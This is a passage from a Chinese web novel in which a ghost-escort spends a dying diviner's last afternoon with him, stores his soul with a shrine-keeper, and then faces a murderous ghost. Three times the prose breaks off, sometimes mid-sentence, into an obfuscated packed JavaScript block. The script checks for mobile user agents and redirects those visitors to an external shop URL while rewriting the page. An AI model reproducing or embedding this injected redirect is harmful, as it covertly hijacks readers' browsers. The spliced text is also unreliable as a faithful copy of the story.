“听着有些荒唐吧。”木明瑟苦笑一下,然后认真道,“不过传言说,这是因为太过才能盖世的术师能轻易搅动天下大势,为了世势的均衡,他们不能活得太久;也有一种说法是他们身上寄托着星辰,凡人之躯承受不了星神之威,所以命会比常人薄。” 盛情难却从来没听过这种说法,她只是个按白纸黑字干活的无常,引渡魂魄时也从未关注过死者的年纪和职业。地府司掌生死,如果真如木明瑟所说,那么或许是判官有意判下的命数。但依她对地府判官的了解,那两个似乎都是很随便的家伙,平时完全看不出来他们还在考虑什么天下大势。也许这些命数不过是他们随笔判下,而冥冥中果真是天道引导了这种巧合。 不过这桩逸闻究竟缘由为何,现在并不重要,至于是真是假……盛情难却终于开口:“你也是‘他们’中的一个么?” 木明瑟笑了笑,甚至还有点骄傲的意思,“起初是老头子觉得我有道术上的天赋,才把我带上山当徒弟。不过后来我学得太快了……他反而开始忧心忡忡起来。老头子也是心里藏不住事的人,索性就把这个传闻告诉我了。虽然我并没有感觉自己身上寄寓着天上的星星什么的,不过其实我一直觉得自己说不定下一刻就会突然死掉了。只是没想到最后我会是饿死的……早知道就让老头子多请我吃几顿烧肉了。” 他说得很轻松,率直得不像在谈及自己的生死。盛情难却忽然想起她第一次遇到木明瑟的时候,他口无遮拦地询问自己的死期。那时候她以为他只是单纯想要搭话,现在她才明白,那看似随口的一问大概一直暗中埋藏在木明瑟心里。过去的无数个日夜中,他也许就屡次不自觉地如此自问过。究竟何日会是死期? “一开始我还是很提心吊胆的,不过日子久了反而无所谓了。”木明瑟说,“想想说不定江州城的异状就是因为我来了这里才会发生,我还觉得有些愧疚呢。而且遇到无常之后我就更不觉得死有什么了,反正无非是魂归地府,再入轮回。现在我认识了盛姑娘,在地府里也算有熟人了,去黄泉的路上也不会有什么问题的。” 盛情难却斜睨他一眼。再怎么样,木明瑟也还只是个未及弱冠的少年,怎么可能对生死如此看淡。他难得费尽心思拐来拐去说了一大席话,而这一通理由与其说是他为了说服自己不怕死,不如说是他用来安慰盛情难却的,以免她因为他的死难过。 他是真的看不出来她是什么样的性子么。盛情难却心想。而且劝一个无常不要为凡人的生死黯然神伤,着实有些可笑。 不过她还是没有直接说“我不会难过的”来让他不必费心考虑她的心情,更不会说“你死了我还是会很难过的”这种徒令人感动的谎话。 “我会让你的魂魄好好归还地府的。”盛情难却用无情到接近公事公办的语气说,然后话锋一转,“我来找你其实还有一点事。” “……什么?” “能再测一测我丢失的生死簿所在何方么?” “啊……我试试。”木明瑟愣了愣,蹲下身,像当初一样随手拔了几根草往地上一丢。草茎形成了某种形状,木明瑟面上一喜,但他还没来得及开口,几根草茎又缓缓偏转了。他疑惑地叹了口气,摇了摇头站起身,“不行,还是测不出来。” “不能像上次寻李绣之一样排一个算阵么?” “且不说我现在还能不能完成算阵……”木明瑟露出一个复杂的表情,大概是对盛情难却还要求他劳动而匪夷所思,“上次有手串这件关联之物,如果盛姑娘你手上有生死簿的一页纸,我说不定还能试试。而且生死簿也算是一件神物了,又不是什么寻常玩意,如果有这么容易找到的话,天下那些散佚无踪的神器早就被找到啦。” “我也只是想再试试,找不到便罢了。”盛情难却道,“那你用来隐匿形迹的符箓能给我一张么?” “咦,可以是可以,不过盛姑娘要用来做什么?”木明瑟忍不住问。 “只是觉得实用,未必要用得上。” 木明瑟拿出了一张黄纸符,指尖开始在上面涂画。然而画到一半时,他忽然像是脱力一般手一抖,斜斜横出了一画。盛情难却见他闭着眼睛微微蹙眉,似乎有些头晕的样子,正要去扶他,木明瑟已经很快睁开眼,几笔画完了这张符,接着取出符又画了一张。 “只要贴在衣服上就可以了。”木明瑟比画了两下作为指导,然后将两张符一起递给盛情难却,“第一张虽然也能用,不过画得难看了些……就再补一张吧。” “多谢。”盛情难却朝他莞尔一笑。 “对了,盛姑娘……”木明瑟欲言又止,伸手摸索着放在一边的伞。 “怎么?” “盛姑娘刚才说过,不喜欢欠人人情。那我现在又帮了盛姑娘一个忙,是不是可以向盛姑娘讨要这个人情?” 青衣少年偏头看向盛情难却,有所预谋似的,笑得很明媚,一瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555998|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所谓生死之事都像是春日飞去无痕的燕雀。空气中弥漫着霪雨之后特有的泥土气息,时间在这种清爽的气息中好像都放缓了。斑斓的日光在叶片间折回,和淡绿的树影一同投下,少年明澈的眼瞳中,返照的光影懒洋洋地微微晃动。 让人忽觉,无论异状再混沌奇诡,此时此地终究是最富盛名的江州三月,本应适合放歌纵游,一览冠绝大奉的葱茏春景。 “盛姑娘,陪我在城里逛一逛吧!” 木明瑟平日恨不得赖在房间里从不出门,因此对江州城的布局并不算熟悉,眼下只是带着盛情难却漫无目的地乱走,瞧见什么有趣的东西便新奇地凑上去。 “喔!这里就是传说中的勾栏吧。这个戏台好漂亮,不像我们村里,唱戏只搭一个布棚子。” “你之前也来到江州好几天了,莫非连瓦舍都没进来过?” “因为这里要花钱才能进……” 瓦舍本是城中供民众消遣娱乐的场所,其内设有勾栏用以表演。江州豪富,城中建有不少瓦舍,而现在木明瑟误打误撞钻进来的这一处规模颇大,里面竟设了几十处勾栏。木明瑟站在一座表演傀儡戏的勾栏前,眼睛亮闪闪地盯着台上的演员和他手里的木偶看,赞叹傀儡做得栩栩如生,一晃却又出现在隔壁的勾栏,连连喊盛情难却来看幡竿杂技,那个艺人立着一根长竿,又在竿上放了一把椅子,人坐在椅子上岿然不动。 勾栏中的表演各不相同,有歌舞、皮影、杂技、驯兽……彼此之间还设有酒肆、茶坊、食店,整座瓦舍内人头攒动,可以说是城里最热闹的地方了。木明瑟在人群中挤来挤去,每一处地方都要去看上一眼,却又留意不把盛情难却落下。往常他是一步也不愿多走的,现在却四处转悠,简直可以用活蹦乱跳来形容。又窜过一座勾栏后,他忽然惊讶地出声——虽然过去每半刻钟他都要这样大惊小怪一番:“盛姑娘,这里还有算命摊呢。” 盛情难却毫不费力地穿过人流,“瓦舍里面人多,而且大多身上又带着几两闲钱,这算命先生真会做生意。” 一个精瘦的老头笑眯眯地坐在卦摊后,正伸手在空中指点着什么,看起来煞有介事。旁边支着一杆幡,上书大大的吴半仙三字名号。 “这是你的同行么?”盛情难却问。 如果真是本领过人的术师,又非怀家人,恐怕活不到这么大年纪。照如此看来,这老头大概只是个江湖骗子。 “其实应该不算吧……他只是个算命先生,看上去不太会捉妖除鬼的样子。”木明瑟绕着算命摊转了一圈,否定了盛情难却的想法。 “若他真算得准,现在也就不会坐在这里了。”盛情难却道。 “算命不能给自己算啦,而且哪怕算出命中有此一劫,也未必能躲开……”木明瑟突然羡慕道,“不过摆算命摊真的好容易赚钱啊。” 这吴半仙身上穿的衣服料子看上去可比木明瑟要好多了,卦摊上的物什也似乎都颇有来头、价钱不菲。 “我记得你说过,你不给人算命。”盛情难却随手从签筒里抽了一支签。 32. 水木明瑟(三) 木明瑟摸了摸下巴,“是啊,所以我本来进城是打算靠看看风水、驱驱小妖来赚钱的,不过连一单生意都还没接到呢,城里就变成这样了。” “那你为什么不算命?你说你算不准,我不信。”盛情难却看了眼抽出来的签,上面只标了个数字“三三”。她不懂签数,便直接把签扔了回去。 “好吧好吧……其实是因为我算得太准了。” 盛情难却扭过头去,却见木明瑟不像是在开玩笑的样子。 “我的卜术也是从老头子那里学的。而怀家人算命特别准……准到不可移易的程度。”木明瑟随手翻弄着卦摊上的铜板,“通常算命先生如果算出问卜者有什么祸事,是有办法趋吉避凶的吧?但如果我算完了一个人的命,他的命数就定了,无论是吉是凶都不能趋避。当初我刚学成的时候偷偷给老头子算了一卦,发现他数日之内将出行,且有危。我想试试这卦能不能准,就告诉他半个月内都不要出门。老头子倒是答应了,结果没过几天他突然收到了一封信笺,不得不远行一趟。我提醒他出门会遇到危险,但他说这趟不去只会更危险,一刻不停就走了。” “然后呢?” “然后过了几天他就回来了,人看起来倒是没事,不过随身带的宝贝法器不知怎么破了。”木明瑟摊了摊手。 “不会是那个铃铛吧。” “就是那个铃铛。老头子留给我的东西不多,这破铃铛算是给我的出师礼了。不过铃铛的法力还是没有减弱的,只是用起来噪声特别严重……这原本是个很厉害的法器,它破了说明那趟老头子真的遇到了什么不得了的危险吧。”木明瑟叹了口气,“那之后我就不敢给老头子算了,怕直接算出什么血光之灾来。不过我还是试着给什么花花草草算卦,结果无一例外,算出会枯就一定会枯,算出会开花结果的哪怕把它连根拔起,它也会重新长回去。” “因为改变不了,所以不再算了?” 盛情难却倒是不觉得如此准确的卜术太过惊人,以无常的眼光来看,凡人的命数都在生死簿上判好了,虽然没有那么细致,但大致上还是确凿不移的——除非受到非人之物的侵袭。毕竟妖魔鬼怪的命数不誊录在生死簿上。 “嗯,因为来求签问卜的人其实不是为了知晓命数、而是为了改变命数的吧。算出来的结果不能改易的话,如果是命途平坦倒还好,万一算得什么凶灾,对一般人来说只是白白增添烦忧而已。”木明瑟笑了笑,“而且无法逢凶化吉的话,这算命摊应该也开不下去吧。” “算命应该不只能算未来之事,也能算过去之事吧?”盛情难却忽然道。 “可以呀。不过算过去的事一般只是来证明算的命很准,没什么人特意要算过去的事吧……”木明瑟想了想,“哦,可能也有算别人的过去的。” “我想算我自己的过去。”盛情难却淡淡道。 木明瑟一怔,“要算的话,盛姑娘要先把生辰八字告诉我。” “……我忘了。”白无常有点无可奈何,她甚至连生前的姓名都忘了。 “那就没办法了。”木明瑟挠了挠头发,话题的中断显然让他有点不知所措。忽然他又眉开眼笑道:“对了,我刚刚看盛姑娘抽出了第三十三签吧!这筒是月老灵签,里面的第三十三签可是上上签哦。” 这签只是她随便抽的,连卦金都没付,想必也不会准。盛情难却心里这么想,不过还是做出了一个高兴的表情,“是吗。” “嗯!我解的签肯定准。”木明瑟拍了拍胸口,又朝旁边表演射箭的勾栏张望起来,“盛姑娘,我们去看看那边——” 短短一个下午,木明瑟拉着盛情难却几乎逛遍半座江州城。他对一切都兴致盎然,可又看得很快,简直有点挥霍的意味,仿佛生怕来不及似的。他唯一不太感兴趣的是城里一座有名的园林,只在门口往里探看了一眼,便说感觉这旧雪园的景色跟乡野的风景也差不多。不过他对街上的花市倒是饶有兴趣,说是在山上也没见过这么多种花。这些琳琅满目的花里,他最喜欢一大枝的连翘,一片嫩黄如云,看着很是清新悦目;而盛情难却没什么喜好之分,平心而论的话只觉得蔷薇最好看。 街头那些杂耍的、说书的,木明瑟也会凑上去看一眼。他们甚至又路过了那个锅盔摊,只不过由于刚下过一场雨的缘故,锅里已经积满了水,金黄微焦的锅盔沉在水里,就算是块普通的饼也不能再入口了。 “可惜,如果没有浸水的话,你就可以尝一口了。”盛情难却说。反正木明瑟已经距死不远,死前还不如尝尝江州的特产。 “虽然我心里也是这么想的——”木明瑟转身指了指摊位前的妇人,“但是这块锅盔应该是她买的吧,我也不能偷吃别人的东西啊。” “……” “怎么了?”木明瑟不解,“盛姑娘也想吃么?” “我只是在想,若是换个德行有缺的人在,别说一块饼,大概趁机已经把王府洗劫一空了。”盛情难却说,“我们去王府看看吧。” 木明瑟立即把前后两句话联系在一起,“你要去洗劫王府?” “怎么会,凡俗之物对于无常来说又没有用。”盛情难却先是正色,然后露出一丝微笑,“只是要说江州城里最豪华的建筑,自然是越王府。既然要逛,不妨去那里看看。” “可是擅闯……” “又不是去杀人放火,只是看看,不会碍着别人的。” 三月的春日里,白斗篷的少女和青衣的少年快步走在街道上,清泠泠的说话声在寂静中回响着,却并不寂寞。而在他们看不见的地方,也有人欣赏着满园的春光。 “今年的桃花开得真好啊。”他喃喃自语,却好像是在对另一个人说话。 饶是木明瑟走马观花,半天之内还是不可能逛完偌大的江州城的。 “太阳快要下山了啊。”木明瑟抬头看看悬在屋脊上的落日,停下了闲逛的脚步,伸了个懒腰,“走了这么久真是累了,还是休息一下吧。本来还想去断章楼上看看的……” 他在路边的茶摊找了个座位,坐下之后一骨碌就趴在桌上,眨眼间从精神奕奕的模样又变回了那副懒散想睡的样子。 “逛得还高兴么?”盛情难却在旁边坐下。 “挺高兴的,就是跟我刚进城的时候比还是显得有些冷清啊。”木明瑟趴着不动,有点遗憾地嘟囔。 “有我陪着还觉得冷清么?” 木明瑟一时半会没有出声,几乎像是已经睡着了,然后他忽然伸手拔下了束发的木簪,这才勉勉强强支起身子。那支朴素的木簪在他手中竟然飞快地变化起来,原先早已失却生机的一截木头抽枝发芽,梢头开出一朵淡妆般的小花。 “多谢盛姑娘啦。”木明瑟把那枝蔷薇花轻轻放在盛情难却面前的桌面上。他说多谢了而不是麻烦了,也并不为浪费了盛情难却半天时间而致歉,因为这半天里白无常难得有说有笑,他大概觉得盛情难却也逛得十分高兴。 木明瑟又趴了下去,但没有埋下脸。他下巴搁在手背上,有点呆呆地望着远处的夕照,“这里的落日跟我在山上看到的一样好看。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565874|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 盛情难却也转头望去。也许是刚下过雨的缘故,今日的晚霞格外灿烂。云霞交相错杂,仿佛春意浸染了地上的花木还犹然溢出,又将多余的颜色倾泻在半片天空中。在这样明丽的天色下,看着一天的光阴随夕阳渐渐逝去,似乎也不会让人觉得惆怅了。 “其实我没有什么心愿,也没有什么追求,想要的大概也只是认识的人都能好好的。下山以来,虽然在这座城里遇到了很多人……还都是不一般的人,最后却好像都没有什么好命数。我算不了无常的命数,所以我希望盛姑娘能平安无事。”木明瑟轻声说,“我在客栈的房间里设了符和术阵,如果遇到什么意外,盛姑娘可以在那里暂且一避。” “我知道。”盛情难却回看他,“你死后,需要我帮忙把你葬了么?” “不用啦,我给自己身上下了术法,死后就会灰飞烟灭,免得麻烦别人。”木明瑟似乎还为自己周到的考虑有些自得,顿了顿,又有些小心地观察盛情难却那张平静的脸,“盛姑娘你可不要伤心啊,我不太会安慰人……” 他这句话该让别人怎么接呢?而且他这算是擅自推己及人吧,如果是她快要死了,木明瑟想必会很难过;但现在将死的是他,盛情难却可并没有什么伤心的表现。盛情难却只是应着他的话微微笑了笑。 木明瑟也朝她笑了起来,只是笑容中多了几分倦意,然后他像是感到困乏似的缓缓阖上眼皮。青翠的日影在他手边的空茶盏里迟迟流转,仿佛也睡意朦胧。 树叶与衣料的沙沙声中,忽然青衣少年被一阵风吹散了,只剩下一缕尘埃徐徐飘落。 明明是个术师,死后却像鬼一样化作飞灰,这样的命运也真是奇怪。 盛情难却静静看着烟尘四散,旋即青衣少年的身影又浮现了一瞬,瞬刹之后再度消失,仿佛那抹晃动的青色只是旁边酒肆挂着的青旗在风中招展。而盛情难却终于动了,她一挥手,将空中一小团微光纳入袖中。 像木明瑟这样没有执念也没有恶念的人,死后不会变成鬼也不会变成无常,只会是一缕普通的游魂。这或许还称得上幸运,因为他是这里唯一一个并非被鬼所杀的人。而那些死在春生秋杀手下的人,魂魄也被鬼气撕碎,连魂归地府的机会也没有。 盛情难却又恢复了面无表情的样子,刚刚的笑容也像是被风吹走的浮尘。过去这一个下午,白无常似乎微妙地变化了性子,不仅知情达理地跟木明瑟聊着天,脸上的表情也丰富了许多。她表现得十分自然,至少以木明瑟的心性,是看不出来她自始至终都是有意为之的。 她本来就心思敏锐,又通达人情世故,要装出这样友好亲善的样子并不难。或许生前她就是这样生活的,但当无常的这些年,她平时也就跟同僚打打交道,没什么必要装模作样。今日她愿意为木明瑟演这样一出,只是为了清偿。 她不喜欢白白受人家的好,否则分开之后会觉得自己亏欠了太多。把好意偿还回去之后便好似两不相欠、没有瓜葛,分别之时也就不会有所失落。虽然木明瑟对所有人都付出同样的善意,但对盛情难却而言,收到的好意没有平等和偏私之分。 她站起身,拾起了那柄木明瑟留下的油纸伞,最后看了一眼搁在桌上的那枝蔷薇,没有动手去拿。反正木明瑟已经死了,她拿着花也只是徒添无用的牵绊,再也见不到的人就不该睹物思及;而即使她不拿走那朵花,这份谢礼上的心意当时也确实交予了她。 也许是觉得要报偿的东西又多了一点,她近似叹息般轻轻呼出了一口气,转身头也不回地扬长而去。 33. 歧路亡羊 “哇……现在连卯时都没到吧,你们无常晚上都不用睡觉的吗?” 灵堂哈欠连天地掀开帘子,一眼就看到一袭白影立在店前,在黑糊糊的夜幕里突兀得有些吓人。 “无常的确不需要睡觉。”白无常少见地以应酬般的闲话开头,“你不也没睡么?” “怎么可能,我睡得正香呢。这不是发觉有客来访,才连忙起床来迎客。众所周知本店十二时辰都是不歇业的,本人更是城里第一号的好老板啊。”灵堂在旁边的柜子里稀里哗啦倒腾一通,翻出了两支蜡烛,摆在柜台上点着,烛光这才照亮了巫女的身姿。她穿戴整齐,脸上也依然扣着面具,以她起床迎客的速度来看真是神速,无愧于“第一号好老板”的名号。 “如何?半夜惠顾小店,应该是有什么生意吧?”灵堂精神抖擞地问。 “有一件事,不知老板能不能帮得上忙。”盛情难却道。 “只要酬劳到位,我自当尽心竭力。”灵堂一拍手,“不过说起来,初见几位客官时还是三人,前两天偶遇时就只见到了您和那位青衣公子,今夜怎么就只有您一位单独前来了?” “也许之后你连我都见不到了。”盛情难却以毫无抑扬顿挫的平声调说,随后切入正题,“老板既然是巫祝,是否能用巫术保存人的魂魄?” 灵堂愣了愣,“保存魂魄?这应该是无常会做的事吧。” “正是我有一缕魂魄想让你代为保存。” 灵堂沉吟片刻,似乎有些茫然,不过最后还是点了点头,“好吧,可以倒是可以,但是酬劳——” 她尚在思考,盛情难却已经把一柄油纸伞放在了柜台上。 灵堂连忙把烛台挪了挪,拿起那把伞仔细端详起来。她把伞翻来覆去横看竖看了几遍,然后抬起头,隔着面具也能感受到她的疑惑,“这是把普通的伞?” “这是把普通的伞。”盛情难却表示肯定。 “这算是……酬劳?” “是。” 灵堂又将那把伞凑到眼前,几乎像鉴宝的匠师一样把这柄旧纸伞鉴赏了个遍,终于掩饰不住大失所望,“这顶多值二十个铜板!” “不够么?”盛情难却也疑问。 这把伞就是她考虑到可能会和灵堂有所交易,才特意带着当作抵押。毕竟无常身上又没有凡间的银钱,盛情难却也不可能随便从大街上的人怀里摸个钱囊出来。 “虽说本店以前从来没接过保管魂魄的生意,所以谈不上明码标价……但二十枚铜板也太少了吧。”灵堂扳着指头,显得十分为难,“就算是店里卖的最便宜的纸扎,都要三十枚铜板一具呢。” “既然如此,我还有东西可以加码。”盛情难却冷冷道,“不过不是铜钱,而是你的命。” 烛火一跳,原本用手撑着柜台的巫女缓缓直起身,诡异面具下传出的声音仍然轻快:“客官这话是什么意思?莫不是我不做这笔生意,客官就要杀了我吧。” 原来她在别人眼中是那种会轻易杀人的人么?盛情难却心想。她面无表情道:“我不是在威胁你。相反,我是来提醒你将有杀身之祸。而且,我可以救你一命。” “哦?愿闻其详。”灵堂搔搔头发,有些纳闷,“我近来也没有结仇啊,还有什么人要来杀我?” “明天三月十三,会有厉鬼杀人。我可以告诉你一个地方,你在那里待着,暂且是安全的。” 春生秋杀每三日必将杀一人,而如果他真的遵守那句话,不到“万不得已”的时候不会对盛情难却动手,那么明天他十有八九会前来拜访灵堂。也有可能春生秋杀会先找木明瑟,不过青衣少年已然化作飞烟,自然找不到他头上。 “三月十三是什么鬼节么?我听说十六才是鬼门关开的日子啊。”灵堂一头雾水。 盛情难却不答反问:“要和我做这笔生意么?” 其实她并不确定灵堂是否会答应。哪怕有性命之虞,但这位巫女生性古怪跳脱,也许她偏偏就不愿顺着别人的心意,宁愿在明天等死,然后乐呵呵说出“死在明天也是神灵的安排”这种话来。 但就算灵堂不同意也无所谓,这些事对于盛情难却而言,实际上都只是出于“可以做”,而非“必须做”。因此就算失败,她也不会执着于此。 “当然成交咯,正常人都是贪生怕死的吧。而且我这两天正打算写一部话本呢,可不想明天无缘无故就死了。”灵堂却不经犹豫,一口答应,“那请稍等片刻,我这就去取装魂魄的容器来。” 她转身又钻回了后屋。盛情难却默默仰天四顾,夜色温和而干净,连风都没有起一丝。春生秋杀不在附近。 自从上次离去时他说过“不会随叫随到”之后,盛情难却身边果然再没有半个鬼影出没,就连这两天她刻意去寻,广大的城邑之中,她也不曾与春生秋杀邂逅。 很快帘子一动,灵堂捧着一个小陶罐跳回柜台前。她把这个粗糙的陶罐往柜台上一放,揭开罐盖,“喏,把魂魄放到这里面就行了。” 盛情难却手指在罐身上一擦,“魂魄可会受到巫术损害侵染?” “不会啦,这种巫术原先是给人假死还魂用的,保管放出来还是全须全尾的。”灵堂信心满满地打包票。 “可以存留多久?” “这我也没试过……”灵堂也摸摸罐子,思索道,“不过三年五载的应该还是没问题吧。” 盛情难却点了点头,微微抬手正要召出魂魄,灵堂却赶紧把罐子往回一揣,“且慢且慢,客官您问了这么多,那我也有问题要问清楚,免得生意有什么风险,到时候万一遇到意外就麻烦了啊。” “你问吧。”盛情难却神色不动。 “这缕魂魄是谁的?为什么要交给我代为收存?” “凡人的魂魄而已。”盛情难却说,“是那个年轻术师的。” “咦,他死了?是被鬼杀了么?”灵堂有些吃惊,这两天死去和将要死去的人也太多了些。 “不是。”盛情难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575627|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却径直往下说,“让你代为收存,是因为……” 她似乎斟酌了一下该怎么描述情况,尔后言简意赅道:“我可能会死。” 不待灵堂开口,她又道:“如果明天过后我没有来找你,你就在那里待到江州的异状解决。” “好吧,我明白了。”灵堂还是满腹疑惑,不过其余的事应该同她没有干系了,她也就识趣地没有探问。她把陶罐放回柜台上,待白无常将一缕微光引入罐中后,啪地合上盖子,简单得就像装了一尾小鱼。而在她装罐的同时,盛情难却忽然解下了自己的斗篷,折起来也放在柜台上。 无常一向披着的麻布斗篷在烛光下仿佛也介于虚实之间,黯淡的布料上萦绕着不绝如缕的阴气。 “这也是用来抵钱的?”灵堂有点发愣,小心翼翼地碰了碰斗篷,确认是可以摸得着的。 “不是。这是信物。”盛情难却淡然地说明,“如果我消失了,等异状解除,新的无常前来驻守,你就以此为证,让新来的无常把这缕魂魄引渡回地府——虽然你看不见无常,但你肯定有办法让无常现身来见你的。” 灵堂歪头琢磨了一会,忽然愉快地笑道:“原来如此,就算我什么酬劳都不要,客官您还是会把我带去那个安全的地方吧,为了保证那缕魂魄能够转世。” 她有些好奇地打量眼前的白无常,没想到少女雪地一般空白的神情下,似乎竟然还挺重情重义的。她心里忖度着白无常和那名少年之间的事,嘴角露出一丝窃窃的笑容,对将要下笔的话本内容文思泉涌。 盛情难却不置可否,只是漠然地催促:“去收拾一下,我这就带你去。” 半炷香后,灵堂已经麻利地收拾完一袋子东西。临行前她瞥了眼那把青绿的旧纸伞,“那这把伞就还给你了?你能救我一命,酬劳已经足够了,我可不是什么黑心商家。”毕竟她也不是搞旧物回收的。 “给你吧。我用不到伞。”盛情难却毫无波澜地拒绝了。 灵堂耸耸肩,扛着袋子兴致勃勃地跟着盛情难却走了。半道上她被夜间的凉意激得搓了搓胳膊,忍不住问:“那个厉鬼有这么可怕么?无常不是专门拘鬼的么?” 盛情难却没有看她,目光在宁静的夜色中游弋,像是在发呆,又像是在搜寻着什么,“至少我现在赢不过他。我知道你身为巫女活了很多年岁,但那只鬼也逃逸了地府的追缉上百年,而且天性狡诈,你在行凶杀人上是比不过他的。我带你去的那个地方也未必全然安全,你还是谨慎点为好。” “好吧。”灵堂在面具下吐了吐舌头,亏她还想见识一下那个鬼有多厉害,但她也不会率性地拿性命去满足好奇心。她也明白了白无常在空无一人的夜幕下在看什么——她是在提防那个鬼突然出现。也不知道要躲那个鬼多久,这样想着,灵堂又嘀咕道:“话说这异状究竟什么时候能解决啊,万一江州城永远就是这副样子了呢。” “我猜,”白无常丢下寥寥数语,“到三月十六就能水落石出了。” 34. 春生秋杀(一) 在无死无生、一切都好似凝固的江州城中,仿佛时间也始终被封印在某一刻。然而天穹之上日月轮转,却又独行其是地历数着每一日的来去。 三月十三,寅时三刻。 今夜的月亮已经近乎圆满,斜斜挂在西侧的天空,像是一枚润泽的白玉。满地如霜的月色中,一道黑影无声地掠过街道,没有半分惊扰这个安宁的月夜。若是街上的人们还有知觉,也只会感到一阵微微的凉意,仿佛飞鸟挥动羽翼时扇起的一缕风,只是在如此良夜中让人后颈禁不住竖起几根寒毛。 这片幽幽的影子循路来到寿衣铺前,然后停下脚步。 “呀,这应该不是巧遇吧?”春生秋杀先是有些惊讶地扬起眉毛,接着嘴角也扬了起来,露出一个他惯有的无可挑剔的笑容,语气带着心领神会的意味,仿佛为这场情理之中而意料之外的相逢感到由衷的欣然。 他见到每个人时都会表现出这股不失分寸的亲热劲儿,只是面对盛情难却时,他的这份亲近会显得更加密切一点儿,好像两根并生的竹子,土表下的根系早已纠缠在一起,不分彼此。 他的面前,一杆无字白幡兀自立在寿衣铺前,无风而飘扬不已,显眼得刻意。白无常袖手站在引魂幡旁边,没有披那身无常标志性的斗篷,长而直的漆黑发丝散落在素白的衣袍上,几乎比她跟前的春生秋杀更像是话本中的鬼魅。 两人相对,此情此景,犹然是踏月而来的公子遇见了等待千年的女鬼。 “是啊,我在等你。”盛情难却居然也笑了,尽管那副笑颜像是凭空贴在她的脸上一样。 “这些天难得见你笑一笑啊,总不是因为见到吾辈而高兴吧?”春生秋杀打趣道。 “万籁俱寂,月夜相会,理当一笑。”盛情难却虽然在笑,但语气依然很清淡。 “哦——理当一笑,而情非如此啊。”春生秋杀故意有些幽怨地拖长声调。 盛情难却的回答直率到有些冷漠,“你也不情愿见到我吧。毕竟这几日你都在躲着我。” “这就是在冤枉吾辈了吧。”春生秋杀有点意外地睁大眼睛,满脸平白无辜,“吾辈从没有存心躲着你,只不过是江州城太大,若要时时碰见才是巧合呢。吾辈可是很高兴见到盛情的,虽然比吾辈料想中要早了几日。” 无论一笑一颦,灰发青年既不会显得太过浮夸,也不会显得端着架子,自始至终都恰到好处。而与盛情难却的装模做样比起来,他的神情可谓是滴水不漏。哪怕盛情难却有心观察他,凭她的敏锐,也未曾发现春生秋杀有什么做作的痕迹,好像他那春风拂面一般的言行举止完全发自本心,口中所说的再会心喜也并非虚情假意。 春生秋杀继而奇怪道:“话说起来,你的斗篷怎么不见了?” “拿给别人了。”盛情难却如实道。 “给那个术师了么?” “不是。”盛情难却平淡道,“木明瑟已经死了。” “死了?”春生秋杀顿了顿,脸上的笑意收敛了一点,但也没有流露出什么哀悼之情,寡淡下来的神情跟盛情难却有一种如出一辙的漠然,“吾辈见他神气不足,应当是衰弱而死吧。可惜了,早知道他这么快就会死,还不如吾辈提早杀了他,也就不用赶在今日杀人了。” 说到“可惜”的时候,他脸上才浮现一丝惋惜之意,紧接着又复归笑眯眯的模样,“这些闲话就稍后再叙吧,吾辈还是先去干完正事——还是说,盛情你今日是打算拦着吾辈杀人?” 这句问句并非威逼的意思,而是春生秋杀真心有些疑惑。盛情难却在这里显然不是为了等他说两句闲话,可他上回已经出手提醒过她,若两人必要一战,白无常是绝对赢不过他的。无论盛情难却是出于无常的责任要阻拦厉鬼杀人,还是出于自己的执念要来杀他,无疑都是做不到的,况且盛情难却也不会做这种吃力不讨好的事。 难得的,洞悉人心的厉鬼有些不太明白眼前之人的心思。 再次出乎他的意料,盛情难却侧了侧身表示让路,说话还是一板一眼,“我没有拦着你杀人,如果你想进寿衣铺,请便。” 春生秋杀缓步上前,却在盛情难却身侧停住了。他凝望着铺面,惨白的鬼气如同忽起的一阵雾涌入店中,原本就贩卖寿衣葬仪的店铺在阴冷的白雾中更显得森然可怖。 盛情难却果然没有拦他,只是挥袖驱散自己身边的雾气。这阵鬼气只是厉鬼试探之用,但普通人若是陷于其中,必然如坠冰窟,梦魂颠倒,阳寿耗损。而无常置身其中虽然无碍,但还是会觉得有些不适。 片刻之后鬼气消散,春生秋杀终于转身,朝盛情难却无奈地一笑,“原来是里面根本就没有人。是盛情你特意让她躲起来的么?” “是。”盛情难却很坦荡。 “如果是追踪无常,或许还有些难办,不过灵堂毕竟只是个活人。江州城虽大,但要在一群行尸走肉中寻觅活人的气息,对于吾辈而言也不算什么难事。现下才寅时,九个时辰之内……吾辈足够找到她了。”春生秋杀深吸一口气,像是在嗅闻春夜里的花香,“而且她也根本没有掩饰自己的行踪……她应该是往北侧的街道去了吧?” 他带着绝对的自信说出这番话,像是落了一步对方预料之外的好棋,并没有急着逞威,而是饶有兴趣地等着对方的反应。 